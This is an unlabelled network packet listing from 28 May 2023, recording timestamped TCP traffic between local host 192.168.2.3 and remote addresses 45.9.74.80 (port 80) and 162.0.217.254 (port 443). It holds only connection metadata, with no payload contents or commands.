May 28, 2023 10:42:43.137988091 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138025045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.138035059 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138118982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.138137102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138184071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138226986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138273001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.138274908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138322115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138362885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.138367891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138415098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138452053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.138458014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138505936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138514996 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.138551950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138597012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138659000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138700962 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.138720036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138731956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.138782978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.138916016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.158993006 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159101009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159147024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159193039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159209013 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.159240007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159287930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159296036 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.159415007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159430981 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.159460068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159507036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159554005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159598112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159604073 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.159643888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159687996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159729004 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.159737110 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159784079 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159828901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159868002 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.159876108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159909964 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.159923077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.159967899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.160012960 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.160015106 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.160367012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.163465023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163511992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163557053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163579941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.163604021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163650036 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163692951 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.163695097 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163741112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163785934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163796902 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.163832903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163855076 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.163877964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163923979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.163964033 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.163966894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.164012909 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.164057016 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.164057970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.164105892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.164149046 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.164179087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.164196014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.164230108 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.200874090 CEST	443	49707	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.201088905 CEST	49707	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.215917110 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.224445105 CEST	49707	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.224488020 CEST	443	49707	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.225095987 CEST	443	49707	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.225179911 CEST	49707	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.228307009 CEST	49707	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.240695000 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.240750074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.240797997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.240844965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.240854979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.240890026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.240920067 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.240936041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.240983009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241029978 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.241030931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241077900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241125107 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241148949 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.241172075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241214037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.241215944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241266012 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241328001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241374969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241379976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.241422892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241466045 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.241468906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241514921 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.241516113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241564035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241609097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.241610050 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241656065 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241699934 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.241700888 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241746902 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241791010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241796017 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.241837025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241879940 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.241883039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241930008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241975069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.241976976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242021084 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242065907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242078066 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242110968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242156029 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242197037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242204905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242249012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242255926 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242305994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242348909 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242352009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242398977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242438078 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242444038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242491007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242532015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242536068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242583990 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242624044 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242629051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242675066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242712975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242718935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242765903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242809057 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242810965 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242857933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242901087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.242902040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242949963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.242994070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243040085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243069887 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.243084908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243130922 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243176937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243211031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.243223906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243259907 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.243273020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243319035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243362904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243366003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.243408918 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243422031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.243453979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243499041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243541956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.243544102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243592024 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243637085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243637085 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.243684053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243719101 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.243729115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243774891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243813038 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.243820906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243868113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243913889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.243957996 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.243958950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244002104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.244005919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244051933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244096041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244118929 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.244143009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244185925 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.244188070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244232893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244317055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244357109 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.244364023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244410992 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244455099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244476080 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.244477034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.244501114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244546890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244586945 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.244592905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244638920 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244684935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244724035 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.244730949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244776964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244812012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.244822979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244868040 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244873047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.244913101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244956970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.244997978 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.245002985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.245049953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.245088100 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.245687008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.245687008 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.266597033 CEST	443	49707	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.266756058 CEST	443	49707	162.0.217.254	192.168.2.3
May 28, 2023 10:42:43.266834974 CEST	49707	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.266894102 CEST	49707	443	192.168.2.3	162.0.217.254
May 28, 2023 10:42:43.269577026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.269627094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.269673109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.269718885 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.269725084 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.269772053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.269819021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.269862890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.269865036 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.269906044 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.269907951 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.269953966 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.269995928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.269999981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270046949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270106077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.270107985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270157099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270198107 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.270204067 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270250082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270292044 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.270302057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270349026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270392895 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.270396948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270445108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270486116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.270488977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270538092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270622015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.270626068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270673037 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270716906 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.270719051 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270766973 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270807028 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.270812035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270859003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270903111 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.270904064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270951986 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.270992994 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.270998001 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271044970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271087885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.271090984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271138906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271183014 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.271184921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271233082 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271281004 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.271281958 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271327972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271373034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.271374941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271420956 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271465063 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.271470070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271517038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271552086 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.271562099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271610975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271655083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271697044 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.271699905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271747112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271789074 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.271794081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271842957 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271883011 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.271888971 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271936893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.271979094 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.271982908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272030115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272070885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.272075891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272124052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272164106 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.272167921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272222042 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272258043 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.272294044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272341967 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272382975 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.272386074 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272433996 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272478104 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.272479057 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272525072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272567034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.272572041 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272619009 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272659063 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.272664070 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272711039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272749901 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.272756100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272803068 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272841930 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.272847891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272895098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272938013 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.272942066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.272988081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273030996 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.273032904 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273073912 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.273080111 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273125887 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273158073 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.273170948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273216963 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273267031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.273308039 CEST	49704	80	192.168.2.3	45.9.74.80
